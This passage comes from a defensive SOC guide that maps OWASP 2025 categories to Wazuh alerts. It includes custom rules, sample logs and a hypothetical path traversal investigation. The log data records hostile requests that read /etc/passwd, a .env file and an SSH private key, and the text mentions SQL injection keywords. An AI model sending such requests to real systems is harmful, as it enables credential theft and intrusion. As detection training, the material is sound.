Incident response actions. The SOC escalates the suspected account compromises as High and reports the logging gap as a separate finding. System administrators correct the localfile path in the agent configuration and restart the agent. The identity team resets the 27 accounts and revokes their sessions.

Recommended remediation. Detection engineering adds a daily comparison of expected log sources against received events, plus FIM rules for changes to web server log configuration. Change management adds an “update log collection” step to the upgrade checklist. Verification confirms that events flow again and that test alerts fire. The attack is A07, but the reason it went unnoticed is A09 Security Logging and Alerting Failures.

Incident Response Process

StepCategory specific actionWho
Initial triageIs it tampering, misconfiguration or maintenance? Which host and logs?SOC L1
Evidence collectionLast received events, FIM diffs, agent status history, local logs if still availableSOC L1 or L2
Event correlationWhat happened right before the gap? Any attacks during the gap visible elsewhere (WAF, firewall, identity provider)?SOC L2
Severity assessmentPlanned maintenance (Info), misconfiguration gap (Medium), deliberate tampering (High or Critical)SOC L2
Impact assessmentSystems blind, duration, what attacks could have been missedSOC
EscalationIncident lead for tampering; system owner and SOC manager for gapsSOC
Containment recommendationRestore logging, isolate host if tampering, preserve remaining evidenceSOC recommends; admins execute
CoordinationFix collection, add logging to the application, update change processAdmins, developers, detection engineering
Remediation verificationEvents received, test alerts fireSOC
Documentation and closureGap timeline, cause, missed events, new monitoringSOC

Prevention and Remediation

  1. Define auditable events for each application: login success and failure, access control failures, input validation failures, admin actions, high value transactions.
  2. Use a consistent, machine readable format (JSON) with time, user, IP, action, result.
  3. Encode log data to prevent log injection, and never log passwords, tokens or full card numbers.
  4. Forward logs centrally in near real time; protect them from modification; back them up.
  5. Define alert use cases, thresholds and playbooks, and review them regularly.
  6. Test detection with penetration tests, DAST scans and purple team exercises.
  7. Monitor the monitoring: agent health, log volume, decoder matches.
  8. Tune noisy rules to prevent alert fatigue.

A10:2025 Mishandling of Exceptional Conditions

Official page: OWASP A10:2025 Mishandling of Exceptional Conditions

What Is Mishandling of Exceptional Conditions?

Definition: Mishandling of Exceptional Conditions means the application does not prevent, detect, or respond safely to unusual situations such as errors, missing parameters, timeouts or resource exhaustion, so it crashes, leaks information, ends up in an inconsistent state, or fails open (allows access when a check fails).

Key terms:

  1. Exception: An abnormal event during program execution, such as a null value, a timeout or a database error.
  2. Exceptional condition: Any unusual situation: missing input, unexpected type, low memory, lost network, insufficient privileges.
  3. Fail open (CWE-636): When a security check fails because of an error, the system allows the action. The safe behavior is fail closed (fail secure): deny when unsure.
  4. Error message with sensitive information (CWE-209): Errors that reveal internal paths, queries, versions or data.
  5. Missing parameter handling (CWE-234) and NULL pointer dereference (CWE-476) are other notable CWEs.
  6. Rollback: Undoing all steps of a transaction when one step fails, so the system returns to a consistent state.
  7. Race condition: Two operations happen at nearly the same time and the result depends on timing, which attackers can exploit.
  8. Resource exhaustion: Using up memory, connections, file handles or threads until the service fails.

What weakness it represents: OWASP describes three failings: the application does not prevent the unusual situation, does not identify it as it happens, and/or responds poorly afterwards. This is a new category in 2025 with 24 CWEs, some previously grouped under “poor code quality”.

Why it happens:

  1. Input validation is missing or incomplete.
  2. Errors are caught too late, at a high generic level, instead of where they occur.
  3. Exception handling is inconsistent across the code.
  4. Developers only test the happy path.
  5. Security checks call other services (authorization, fraud, payment) and do not define what happens if those services fail.

Why attackers target it: Errors are easy to trigger with odd input. Errors often leak useful information. Fail open behavior can bypass security without any credential. Interrupting transactions can create money or duplicate actions.

What can happen after successful exploitation: Denial of service, information disclosure, authorization bypass, fraudulent transactions, data corruption.

Business assets affected: service availability, financial transactions, account balances, confidential system details, access controlled data.

How Attackers Abuse Error Handling

  1. What the attacker needs first: Usually only the ability to send requests, sometimes a normal account. Some attacks need the ability to cause timing issues (many parallel requests).
  2. What is targeted: Input parsing, file uploads, multi step transactions, calls to dependent services, error pages.
  3. What the attacker sends or changes:
    1. Missing, empty, huge or wrongly typed parameters.
    2. Requests that cause downstream timeouts.
    3. Many parallel requests to hit a race window.
    4. Interrupted connections in the middle of a transaction.
  4. What the vulnerable application does: Throws an exception and either shows the details, skips the security check, leaves a partial transaction, or keeps resources locked.
  5. How the attacker exploits it: Uses the leaked details for other attacks, uses the bypass, repeats the interruption to gain value, or repeats the error to exhaust resources.
  6. What happens on success: Information leak, bypass, money or data inconsistency, or service outage.
  7. Evidence left behind: Bursts of 500 or 503 responses, stack traces or exception logs, timeouts, “allowed due to error” decisions, transactions without matching steps, memory or connection exhaustion warnings, crashes and restarts.

Exceptional Condition Attack Examples

Example 1: Authorization check fails open during a timeout

  1. Situation: A healthcare scheduling app calls an internal authorization service before showing patient records. The code catches any exception from that call and continues, so on timeout it shows the record.
  2. Attacker objective: View patient records they are not allowed to see.
  3. Attacker actions: Sends many slow, heavy requests to overload the authorization service, while requesting other patients’ records.
  4. Representative application log (JSON):
{"log_type":"app","event":"authz_check_error","username":"u-5521","resource":"/patients/88213/record","error":"TimeoutException after 2000ms","decision":"allow","client_ip":"203.0.113.33"}
  1. Vulnerable behavior: The design should deny on error (fail closed). The code allows instead (CWE-636).
  2. Attempt versus success: Timeouts with decision: deny are safe failures. A decision: allow after an error is a successful bypass, confirmed by the response returning record data.
  3. Impact: Unauthorized access to health data. The result looks like A01 (access control bypass), but the root cause is unsafe error handling (A10).

Example 2: Interrupted money transfer without rollback (from the OWASP scenario)

  1. Situation: A digital wallet processes transfers in three steps: debit sender, credit receiver, record transaction.
  2. Attacker objective: Get money credited more than once.
  3. Attacker actions: Sends many parallel transfer requests and drops connections at precise moments.
  4. Representative application log entries:
{"log_type":"app","event":"transfer_step","transfer_id":"T-77120","step":"credit_receiver","step_status":"ok"}
{"log_type":"app","event":"transfer_step_failed","transfer_id":"T-77120","step":"record_transaction","error":"ConnectionResetException","rollback":"false"}
{"log_type":"app","event":"transfer_step","transfer_id":"T-77121","step":"credit_receiver","step_status":"ok"}
  1. Vulnerable behavior: When a later step fails, the earlier steps are not rolled back, and race conditions allow duplicate credits.
  2. Attempt versus success: Failed steps with rollback: true are handled safely. Failed steps with rollback: false and balance differences in reconciliation reports show successful exploitation.
  3. Impact: Financial loss and inconsistent ledgers.

Example 3: Database errors leak details (from the OWASP scenario)

An attacker sends unusual characters to many parameters. The app shows full database error messages including table names and query fragments. The attacker uses them to build a precise SQL injection. The error disclosure is A10 (and A02 if production is configured to show details); the later injection is A05.

Exception Handling Indicators and Evidence

IndicatorWhere you see itStrength
Bursts of 500 errors from one IP across many parametersAccess logs, built in rules 31122 and 31162Suspicious (fuzzing)
Stack traces or exception names in responses or logsApp logs, error logsStrong evidence of unsafe error handling
“allow” decisions recorded together with errorsApp logsStrong evidence of fail open
Transaction steps without matching completion or rollbackApp logs, reconciliation reportsStrong
Many parallel identical requests within millisecondsAccess logs, app logsSuspicious (race attempt)
503 responses, worker exhaustion, memory errorsAccess logs, web server error logsSuspicious (resource exhaustion)
Process crashes, segmentation faults, restartsSystem logs, built in Apache rule 30104Strong evidence of a crash
Requests with missing or malformed parameters immediately before errorsAccess and app logsSuspicious

How to Detect Unsafe Error Handling with Wazuh

Required Log Sources

SourceNecessary or optionalWhy
Web access logsNecessaryStatus code patterns (500, 503)
Web server error logsNecessaryCrashes, worker exhaustion, PHP fatal errors
Application logs with exception type, endpoint, decision and transaction state (JSON)Strongly recommendedThe only way to see fail open and missing rollback
System logs (service restarts, out of memory killer)RecommendedShows crashes and resource exhaustion
Business reconciliation reportsOptional, externalConfirms financial inconsistency
APM (Application Performance Monitoring) dataOptional, externalTimeouts and dependency failures

What Wazuh Can and Cannot Detect

  1. Directly with built in rules:
    1. 31120 “Web server 500 error code (server error).” (level 5), 31122 “Web server 500 error code (Internal Error).” (level 5), 31162 “Multiple web server 500 error code (Internal Error).” (level 10, 14 events in 120 seconds from the same source IP).
    2. 31123 “Web server 503 error code (Service unavailable).” (level 4) and 31163 “Multiple web server 503 error code (Service unavailable).” (level 10).
    3. 30104 “Apache: Segmentation fault.” (level 12), 30120 “Apache: without resources to run.” (level 12), 31303 “Nginx critical message.” (level 5).
    4. PHP rules such as 31420 “PHP Fatal error.” (level 5) and 31412 “PHP internal error (missing file).” (level 5).
  2. Needs custom rules: Fail open decisions, transactions without rollback, repeated unhandled exceptions per client.
  3. Needs application logs: Yes. Access logs show that an error happened, not how the application handled it.
  4. Needs external tools: APM for dependency timeouts, reconciliation for financial impact.
  5. Cannot be reliably detected by Wazuh alone: A fail open bug that is never logged; an exception that is silently swallowed (which is also an A09 problem); race conditions without transaction logs.
  6. Suspicious versus proof: Many 500 errors prove errors happened, possibly from fuzzing. Proof of mishandling needs evidence of the unsafe outcome: leaked details, an allow decision, a missing rollback.

Wazuh Rules for Exception Handling Failures

All rules below are custom rules (examples) for JSON application logs.

Rule logic:

  1. 101001: A security check raised an error but the decision was “allow” (fail open).
  2. 101002: A transaction step failed and no rollback happened.
  3. 101003 and 101004: Ten unhandled exceptions caused by the same client IP within two minutes.
<group name="custom_owasp,owasp_a10,">

  <!-- Custom rule (example): security check failed open -->
  <rule id="101001" level="12">
    <decoded_as>json</decoded_as>
    <field name="event">^authz_check_error$</field>
    <field name="decision">^allow$</field>
    <description>OWASP A10: Authorization check error for $(resource) but access was allowed (fail open)</description>
  </rule>

  <!-- Custom rule (example): transaction step failed without rollback -->
  <rule id="101002" level="12">
    <decoded_as>json</decoded_as>
    <field name="event">^transfer_step_failed$</field>
    <field name="rollback">^false$</field>
    <description>OWASP A10: Transfer $(transfer_id) failed at step $(step) without rollback</description>
  </rule>

  <!-- Custom rule (example): counter for unhandled exceptions -->
  <rule id="101003" level="3">
    <decoded_as>json</decoded_as>
    <field name="event">^unhandled_exception$</field>
    <description>OWASP A10: Unhandled exception $(exception) at $(path)</description>
  </rule>

  <!-- Custom rule (example): one client triggering many unhandled exceptions -->
  <rule id="101004" level="10" frequency="10" timeframe="120">
    <if_matched_sid>101003</if_matched_sid>
    <same_field>client_ip</same_field>
    <description>OWASP A10: 10 unhandled exceptions triggered by $(client_ip) in 2 minutes, possible fuzzing of error handling</description>
  </rule>

</group>

Why these levels: Fail open (101001) and missing rollback (101002) are direct security or financial failures, level 12. A single unhandled exception (101003) is a low relevance event at level 3, kept visible for trend analysis. Repeated exceptions from one client (101004) suggest deliberate probing, level 10.

How to test:

  1. Paste the authz_check_error line from Example 1 into wazuh-logtest. Expected: 101001.
  2. Change "decision":"allow" to "decision":"deny". Expected: no alert (that is safe failure).
  3. Paste the transfer_step_failed line from Example 2. Expected: 101002.
  4. Paste ten lines like the one below with the same client_ip. Expected: 101004 on the tenth.
{"log_type":"app","event":"unhandled_exception","exception":"NullPointerException","path":"/api/v1/claims","client_ip":"198.51.100.61"}
  1. Paste 14 access log lines with status 500 from the same IP to see built in rule 31162.

Expected alert (representative, shortened):

{
  "rule": { "level": 12, "id": "101001", "description": "OWASP A10: Authorization check error for /patients/88213/record but access was allowed (fail open)" },
  "agent": { "name": "sched-app-01" },
  "decoder": { "name": "json" },
  "data": { "event": "authz_check_error", "username": "u-5521", "resource": "/patients/88213/record", "error": "TimeoutException after 2000ms", "decision": "allow", "client_ip": "203.0.113.33" }
}

Investigating the Alert in Wazuh

  1. Find the alert: Threat Hunting, filter rule.groups:owasp_a10 or rule.id:(31162 or 31163).
  2. Fields to inspect: data.event, data.error, data.exception, data.decision, data.transfer_id, data.step, data.rollback, data.client_ip, data.username, data.resource.
  3. Source IP: data.client_ip or data.srcip; check whether it also sent unusual inputs.
  4. Affected application: agent.name, location, the endpoint in data.path or data.url.
  5. User account: data.username; check whether that user should have access to the resource.
  6. Timestamps: Error times compared with dependency outages, deployments or load spikes.
  7. Correlate: Dependency service errors at the same time, 500 bursts in access logs, preceding requests with malformed parameters.
  8. Success check: Did the response contain protected data? Did balances change incorrectly? Did details leak in responses?
  9. Impact: Records exposed, money involved, downtime duration.
  10. Document: Error type, handling outcome (allow, partial state, crash), evidence, and the expected safe behavior.

Useful Wazuh Dashboard Queries

QueryWhat it findsWhat to look for
rule.id:(31122 or 31162)Server errors and burstsSame IP, same endpoint, unusual parameters
rule.id:(31123 or 31163)Service unavailable burstsResource exhaustion or dependency failure
rule.id:101001Fail open decisionsUsers and resources accessed
data.decision:allow and data.error:*Allow decisions recorded with an error valueBroader fail open hunting
rule.id:101002Transactions without rollbackAmounts and accounts for reconciliation
rule.id:(30104 or 30120)Apache crashes and resource problemsRequests just before the crash
data.exception:*All logged exceptionsMost common types and endpoints

Detection Limitations

  1. Swallowed exceptions leave no trace.
  2. 500 errors are common during deployments and outages; context is needed.
  3. Fail open is only visible if the app logs the decision with the error.
  4. Race conditions need precise timestamps and transaction IDs.
  5. False positives: buggy releases, dependency outages, monitoring probes.
  6. Improve visibility: Ask developers to log exceptions in JSON with type, endpoint, user, decision and transaction state; log security check outcomes on error; use APM; and alert on fail open patterns.

Practical SOC Investigation Scenario: Authorization Service Timeout Fails Open

Hypothetical scenario: This case study is an invented enterprise example that illustrates the investigation method. It does not describe a real organization or breach.

Organization and affected application. A healthcare provider’s appointment application checks every patient record request with an internal authorization service. The application writes JSON logs that Wazuh collects.

Initial suspicious activity. The authorization service starts timing out under heavy load, and at the same time the application keeps returning patient records.

Initial detection. Built in rule 31163 (“Multiple web server 503 error code (Service unavailable).”) fires for the authorization service gateway. Ten minutes later, custom rule 101001 fires: an authorization check error occurred, but access was allowed.

Logs examined. The analyst reviews the application JSON logs filtered by rule.id:101001, the access logs for the same IP, and the patient assignment data from the application team.

Suspicious indicators. There are 214 allow decisions recorded together with errors in 15 minutes, all from user u-5521 at 203.0.113.33. The same IP sends heavy search requests that slow down the authorization service while also requesting /patients/{id}/record for many different IDs.

Event correlation. The application team confirms that the requested patients are not assigned to u-5521. The record requests returned 200 with normal record sizes. The developers confirm that the code catches the timeout exception and continues instead of denying.

Assessment of successful exploitation. The allow decisions logged with errors, the 200 responses and the assignment data together confirm unauthorized access to 214 patient records. The access control existed and worked under normal conditions; the application bypassed it by failing open when the check raised an exception.

Potential business impact. 214 patient records were exposed to an unauthorized user, a health data breach that is likely reportable.

Incident response actions. The SOC escalates the case as Critical. It recommends disabling u-5521, blocking the IP and applying an emergency configuration that denies requests whenever the authorization service fails. The platform team scales and rate limits the authorization service, and privacy and legal teams assess breach notification.

Recommended remediation. Developers change the handler to deny on any exception and add a circuit breaker. A simulated authorization timeout in staging now produces a logged decision: deny. The impact looks like A01, but the root cause is A10 Mishandling of Exceptional Conditions (CWE-636, failing open).

Incident Response Process

StepCategory specific actionWho
Initial triageError noise (deployment, outage) or abuse? Was there an unsafe outcome?SOC L1
Evidence collectionAccess and error logs, app exception logs, dependency status, transaction recordsSOC L1 or L2
Event correlationMalformed inputs, then errors, then unsafe outcome; dependency failures; user and IPSOC L2
Severity assessmentErrors only (Low), information leak (Medium), fail open or financial inconsistency (High or Critical)SOC L2
Impact assessmentData exposed, money affected, downtimeSOC with app owner, finance
EscalationIncident lead, app owner, finance or privacy as neededSOC
Containment recommendationBlock abusing IPs and accounts, enable fail closed settings, pause risky features, rate limitSOC recommends; developers and platform execute
CoordinationFix exception handling, add rollback and idempotency, add circuit breakersDevelopers
Remediation verificationSimulate the failure in staging; confirm deny and rollback; no new A10 alertsSOC with QA and AppSec
Documentation and closureFailure mode, outcome, root cause, new loggingSOC and incident lead

Prevention and Remediation

  1. Validate input fully and early, including missing and unexpected values.
  2. Catch exceptions where they occur and handle them deliberately.
  3. Fail closed: deny access or stop the action when a security check cannot complete.
  4. Use transactions with full rollback; make operations idempotent (safe to repeat).
  5. Release resources in all code paths (for example finally blocks).
  6. Show generic error messages to users and log details internally.
  7. Apply rate limits and resource quotas.
  8. Add a global exception handler as a safety net, and log every exception with context.
  9. Test failure paths, not only the happy path.

How to Tell Similar OWASP Categories Apart

Several OWASP categories overlap, and a single incident can touch more than one. The most reliable way to classify an incident is by root cause:

Classify by root cause, describe the impact, and mention the related category. For example: “Root cause A10, failing open; the impact looks like A01, unauthorized access.”

Broken Access Control (A01) versus Authentication Failures (A07)

QuestionA01 Broken Access ControlA07 Authentication Failures
What fails?Authorization: what you may doAuthentication: who you are
Is the attacker logged in as themselves?Usually yes, as their own real accountNo, they are accepted as someone else, or as nobody
Typical exampleLogged in user changes invoice_id and sees another customer’s invoiceAttacker logs in to a victim’s account with a leaked password
Typical evidenceSame session reads objects owned by many others; 200 on admin paths for non adminsMany failed logins, success after failures, login from new location

Simple example: A trial user downloads other customers’ invoices: A01. An attacker logs in as a real customer with a stolen password and downloads that customer’s own invoices: A07.

How a SOC analyst distinguishes them: Look at the identity used. If the session belongs to the attacker’s own account and they reached other people’s data, it is A01. If the attacker is using someone else’s identity, investigate A07. Both can happen together: an attacker takes over an account (A07) and then exploits an IDOR (A01).

Security Misconfiguration (A02) versus Software Supply Chain Failures (A03)

QuestionA02 Security MisconfigurationA03 Software Supply Chain Failures
What is wrong?The settings of a componentThe component itself, its version, its source, or the pipeline that delivers it
Typical exampleAdmin console with default password; directory listing onWeb framework version with a known remote code execution CVE; malicious npm package
Fixed byChanging configurationPatching, upgrading, replacing, securing the pipeline
Main Wazuh visibilitySCA, FIM on config filesVulnerability Detection, process telemetry on build agents

Simple example: Apache shows directory listings: A02. Apache is an old version with a public CVE: A03.

How a SOC analyst distinguishes them: Ask “would updating the software fix it, or would changing a setting fix it?” A vulnerability alert from Vulnerability Detection points to A03. A failed SCA check points to A02. Note that OWASP’s A03 says you are vulnerable if you do not secure the configuration of every part of the system, and refers to A02 for that part.

Software Supply Chain Failures (A03) versus Software or Data Integrity Failures (A08)

QuestionA03 Software Supply Chain FailuresA08 Software or Data Integrity Failures
FocusThe whole chain of third party components, tools, build and distributionThe specific failure to verify integrity before trusting code or data
OWASP wordingBreakdowns or compromises in building, distributing or updating softwareFailure to maintain trust boundaries and verify integrity at a lower level than supply chain failures
Typical exampleOutdated library with a CVE; compromised vendor; malicious package; weak CI/CDUnsigned update installed; artifact deployed without signature check; insecure deserialization; script without SRI
Key question“Is something we depend on vulnerable or compromised?”“Did we check that this code or data is genuine before using it?”

Simple example: A malicious package version is published to the public registry and pulled into your build: A03. Your pipeline deploys an artifact from a bucket without verifying its signature, and someone replaced it: A08. Insecure deserialization of a cookie is always discussed under A08.

How a SOC analyst distinguishes them: Find where the trust broke. If the trusted upstream source itself was vulnerable or compromised, lead with A03. If the problem is that your system skipped integrity verification of code or data, lead with A08. Real incidents often involve both, and saying so shows maturity.

Cryptographic Failures (A04) versus Authentication Failures (A07)

QuestionA04 Cryptographic FailuresA07 Authentication Failures
What fails?Protection of secrets and data by cryptographyThe login, session or recovery process
Typical examplePasswords stored with unsalted MD5; predictable reset tokens; login over HTTPNo rate limiting on login; no MFA; session not invalidated
Where the attack happensOften offline or on the network (cracking, sniffing, predicting)Usually online against the login endpoint
Typical evidenceWeak TLS in logs, sensitive data in URLs, key file access; often no direct logsFailed login patterns, success after failures

Simple example: An attacker cracks MD5 password hashes from a stolen backup: the weak storage is A04. An attacker guesses passwords on the login page because there is no rate limit: A07. OWASP’s A07 description itself mentions weakly hashed password stores and points to A04.

How a SOC analyst distinguishes them: If the problem is how a secret is generated, transmitted or stored, it is A04. If the problem is how the application verifies identity or manages the session, it is A07. Predictable reset tokens are a good overlap example: weak randomness (A04) inside a recovery process (A07).

Injection (A05) versus Insecure Design (A06)

QuestionA05 InjectionA06 Insecure Design
Type of flawImplementation defect: code mixes data and commandsDesign flaw: a needed control was never planned
What requests look likeContain special characters and keywords (' UNION SELECT)Look completely valid
Fixed byCorrect code (parameterized queries, encoding)Design change (limits, new process, threat modeling)
Wazuh visibilityBuilt in web attack rules on access logsOnly custom rules on business logs

Simple example: A search box allows UNION SELECT: A05. A booking system allows one account to book 600 seats because nobody defined a limit: A06.

How a SOC analyst distinguishes them: Look at the payload. If the request contains interpreter syntax that changes a command, it is A05. If every request is normal but the combination or quantity creates harm, think A06. OWASP states an insecure design cannot be fixed by a perfect implementation.

Security Logging and Alerting Failures (A09) versus missing Wazuh detection rules

QuestionA09 Security Logging and Alerting FailuresMissing Wazuh detection rule
Where is the gap?In the application or its environment: events not logged, logs not protected, no alerting processIn the SOC’s detection content: logs exist and arrive, but no rule turns them into an alert
ExampleThe portal never logs failed loginsThe portal logs failed logins in JSON and Wazuh collects them, but nobody wrote a rule
Who fixes it?Developers, system owners, management (logging requirements, retention, playbooks)Detection engineers (decoders and rules)
How to tellSearch raw logs or the wazuh-archives-* index (if archiving is enabled): the event is not there at allThe event is in the archives or full_log, but no alert was raised

Simple example: An attacker sprays passwords and no failure events exist anywhere: A09 in the application. The failure events exist in Wazuh’s archived events but no rule matched: a detection engineering gap in the SOC (which, from the organization’s point of view, also contributes to “alerting failures”).

How a SOC analyst distinguishes them: Check the chain step by step: (1) Did the application write the event? (2) Did the agent collect it? (3) Did the decoder parse it? (4) Did a rule match? (5) Did someone review the alert? A break at step 1 is an application logging failure. A break at steps 2 to 4 is a SIEM configuration or detection gap. A break at step 5 is a SOC process failure. Wazuh’s logall or logall_json options store all events (not only alerts) in archives, which helps this analysis. Archiving uses more storage, so it is often enabled only temporarily.

Mishandling of Exceptional Conditions (A10) versus ordinary application errors

QuestionA10 Mishandling of Exceptional ConditionsOrdinary application error
Security impact?Yes: data leak, bypass (fail open), state corruption, denial of serviceNo security impact, just a failure or wrong result
ExampleAuthorization timeout leads to access being allowedReport page crashes with a generic “please try again” message and nothing else happens
ExampleTransfer fails mid way and money is credited without debit recordA user uploads a corrupt image and gets a clear validation error
SOC interestInvestigate, escalateUsually operations or QA, not security

Simple example: An error page shows “Something went wrong” and logs details internally: ordinary, handled error. An error page shows the full SQL query and stack trace, or the app grants access after an error: A10 (and possibly A02 for the verbose error configuration).

How a SOC analyst distinguishes them: Ask three questions. (1) Was the error triggered deliberately (unusual inputs, one IP, many parameters)? (2) Did the error produce an unsafe outcome (data shown, access allowed, inconsistent state, outage)? (3) Did the handling violate fail closed? If the answer to question 2 or 3 is yes, treat it as A10.

Quick Overlap Reference

SituationRoot cause categoryRelated category to mention
Account takeover through predictable reset tokenA04A07
Credential stuffing then IDORA07 and A01Both are separate failures
Old library exploited, web shell uploadedA03A08 if the web shell file was not detected by integrity monitoring
Verbose stack trace in productionA02 (configuration)A10 (handling)
Fail open authorizationA10A01 (impact)
Attack missed because logs not collectedA09The attack’s own category
File upload allows .phpA06 (design allows dangerous type, CWE-434)A05 or A08 when executed or used as a web shell

Complete SOC Investigation Workflow for a Suspicious Web Request

This section follows one hypothetical case from the first alert to closure. It is an invented example that illustrates the method and does not describe a real organization.

The environment: A professional services company runs a client document portal on NGINX (Linux). The portal lets clients download their reports through /download?file=<name>. Wazuh agents on the web server collect NGINX access logs, the application’s JSON logs, FIM and auditd. PostgreSQL authentication logs from the database server are also collected.

Step 1: Alert Received in Wazuh

At 14:22 UTC the SOC queue shows built in rule 31106 “A web attack returned code 200 (success).” (level 6) from agent docs-web-01.

Representative alert (shortened):

{
  "timestamp": "2026-11-08T14:22:41.512+0000",
  "rule": {
    "level": 6,
    "description": "A web attack returned code 200 (success).",
    "id": "31106",
    "firedtimes": 1,
    "mitre": { "id": ["T1190"], "tactic": ["Initial Access"], "technique": ["Exploit Public-Facing Application"] },
    "groups": ["web", "accesslog", "attack"]
  },
  "agent": { "id": "033", "name": "docs-web-01", "ip": "10.50.1.21" },
  "manager": { "name": "wazuh-manager-01" },
  "decoder": { "name": "web-accesslog" },
  "data": { "protocol": "GET", "srcip": "198.51.100.77", "id": "200", "url": "/download?file=../../../../etc/passwd" },
  "location": "/var/log/nginx/access.log",
  "full_log": "198.51.100.77 - - [08/Nov/2026:14:22:41 +0000] \"GET /download?file=../../../../etc/passwd HTTP/1.1\" 200 2847 \"-\" \"curl/8.5.0\""
}

Field by field:

FieldValueWhy it matters
timestamp2026-11-08T14:22:41When Wazuh processed the event; compare with the log’s own time
rule.id31106Built in rule: a pattern from 31103, 31104 or 31105 matched and status was 200
rule.level6Medium importance in Wazuh’s scale; the level alone does not decide the incident
rule.mitre.idT1190Exploit Public Facing Application
agent.namedocs-web-01Affected server
data.srcip198.51.100.77Client IP as seen by NGINX
data.protocolGETHTTP method
data.url/download?file=../../../../etc/passwdThe ../ sequence is a path traversal pattern (matched by built in rule 31104)
data.id200HTTP status
full_logends with 2847 "-" "curl/8.5.0"Response size 2,847 bytes; user agent curl
location/var/log/nginx/access.logWhich log file produced the event

Step 2: Initial Triage (L1, first 10 minutes)

  1. Is the alert real? Yes, full_log shows the actual request.
  2. What asset? docs-web-01 hosts the client portal, which is internet facing and holds confidential client reports. High value.
  3. Is it a known tester? The analyst checks the approved penetration test calendar and allow list. The IP is not listed.
  4. Is it ongoing? A filter on the last 15 minutes for the IP shows requests are still arriving.
  5. First impression: A path traversal attempt returned 200. Status 200 alone is not proof, but the size of 2,847 bytes looks like a small text file, not the portal’s usual multi megabyte PDF reports.
  6. Decision: Escalate to L2 with a priority of High while continuing evidence collection.

Step 3: Identification of the Source IP

  1. data.srcip is 198.51.100.77. NGINX is directly internet facing here (no load balancer), so this is the real client IP. If a load balancer were in front, the analyst would check X-Forwarded-For in the load balancer logs.
  2. Reputation and ownership checks (with an approved threat intelligence tool): a hosting provider, no business relationship.
  3. Query: data.srcip:"198.51.100.77" over 7 days. First seen today at 14:05.

Step 4: Examination of the HTTP Requests

Query: data.srcip:"198.51.100.77" sorted by time. Representative results:

14:05:10 GET /                                                        200   18220  Mozilla/5.0
14:05:44 GET /login                                                   200    6310  Mozilla/5.0
14:06:02 POST /login                                                  302       0  Mozilla/5.0
14:06:03 GET /reports                                                 200   15400  Mozilla/5.0
14:06:20 GET /download?file=Q3_report_acme.pdf                        200 2311840  Mozilla/5.0
14:21:58 GET /download?file=../etc/passwd                             404     162  curl/8.5.0
14:22:20 GET /download?file=../../etc/passwd                          404     162  curl/8.5.0
14:22:41 GET /download?file=../../../../etc/passwd                    200    2847  curl/8.5.0
14:23:15 GET /download?file=../../../../var/www/portal/.env           200     944  curl/8.5.0
14:24:02 GET /download?file=../../../../home/deploy/.ssh/id_rsa       404     162  curl/8.5.0

What this shows:

  1. The IP logged in as a real client at 14:06 and downloaded a normal report (2.3 MB).
  2. From 14:21 it switched to curl and tried increasing ../ depth, a classic traversal search. The 404 results are failed attempts.
  3. At depth four, /etc/passwd returned 200 with 2,847 bytes and .env returned 200 with 944 bytes. Both sizes are consistent with those text files.

Step 5: Review of Application and Web Server Logs

  1. Application JSON log for the same minute (collected by Wazuh):
{"log_type":"app","event":"file_download","username":"client-acme-03","client_ip":"198.51.100.77","requested":"../../../../var/www/portal/.env","resolved_path":"/var/www/portal/.env","result":"served","bytes":"944"}
  1. Field explanation: username identifies the authenticated account; requested is the raw input; resolved_path shows the server turned the input into a path outside the reports folder; result: served confirms the file was sent.
  2. NGINX error log: no errors for these requests, meaning the application, not NGINX, served the files.

Step 6: Identification of the Suspicious Parameter and Behavior

  1. Parameter: file in /download.
  2. Behavior: User controlled path not restricted to the reports folder. The application resolves ../ and serves any file the web server user can read.
  3. Category: Path traversal, CWE-22, which OWASP 2025 maps to A01 Broken Access Control (the user accessed files outside their permitted scope).

Step 7: Correlation with Other Security Events

  1. Leaked secret check: The .env file contains the PostgreSQL password for the portal database (confirmed by the system owner).
  2. Database logs: Query agent.name:"docs-db-01" and full_log:*portal_app* shows a successful database login for user portal_app at 14:31 from 198.51.100.77. The database normally accepts connections only from the web server, but a firewall rule allowed the external IP range for a vendor, an additional misconfiguration (A02).
  3. Process events: auditd custom rule 100503 did not fire; no shells were spawned by the web server user.
  4. FIM: No new files in the web root (rule 100801 did not fire).
  5. Other sources: No other IPs sent traversal patterns in the last 30 days (rule.id:(31104 or 31106) and data.url:*download*).

Step 8: Verification of Whether Exploitation Was Successful

ClaimEvidenceConclusion
Traversal was attempted404 responses with increasing ../Confirmed attempt
Traversal succeeded200 with matching sizes; app log result: served, resolved_path outside folderConfirmed exploitation
Secrets were obtained.env served (944 bytes) and contains DB passwordConfirmed
Secrets were usedDatabase login from attacker IP at 14:31Confirmed
Server code executionNo shell processes, no new filesNot observed (absence of evidence, stated with confidence level)

Step 9: Assessment of Business Impact

  1. Confidentiality: System files and database credentials exposed. Database access by an external party means client data may be exposed. Database audit logs must show which tables were read.
  2. Integrity: No evidence of modification yet; to be confirmed with database audit logs.
  3. Availability: Not affected.
  4. Business: Confidential client reports for multiple clients may be exposed; contractual and regulatory notification may be required.
  5. Accounts: The client account client-acme-03 was used by the attacker. Either the client’s credentials were stolen (A07) or the client is the attacker; to be determined.

Step 10: Incident Classification

  1. Type: Web application exploitation leading to credential exposure and unauthorized database access.
  2. OWASP mapping: Root cause A01 Broken Access Control (path traversal). Contributing: A02 Security Misconfiguration (database reachable from the internet), and possibly A07 if the client account was compromised.
  3. MITRE ATT&CK: T1190 Exploit Public Facing Application, T1552.001 Unsecured Credentials: Credentials In Files, T1078 Valid Accounts.
  4. Severity: Critical (confirmed data access with confirmed use of stolen credentials).

Step 11: Escalation and Response

  1. Escalation: Incident lead paged; application owner, database administrator, network team and client relationship manager informed. Privacy and legal informed because client data may be affected.
  2. Containment (recommended by SOC, executed by owners):
    1. Block 198.51.100.77 at the edge firewall and WAF (or with Wazuh Active Response if pre approved).
    2. Disable the client-acme-03 account and revoke its sessions.
    3. Rotate the database password and any other secret in .env.
    4. Remove the external firewall rule to the database.
    5. Temporarily disable /download or apply a WAF rule blocking ../ and encoded variants in the file parameter.
  3. Eradication and fix (development team): Map download requests to file IDs instead of paths, and enforce that resolved paths stay inside the reports folder.
  4. Evidence preservation: Export alerts, access and app logs, database logs; snapshot the web server if required by policy.

Step 12: Documentation and Closure

Incident record (summary):

SectionContent
SummaryPath traversal in /download allowed an authenticated client account to read server files, including database credentials, which were then used from the attacker IP
Timeline14:06 login, 14:21 traversal attempts, 14:22 /etc/passwd served, 14:23 .env served, 14:31 DB login, 14:40 containment started
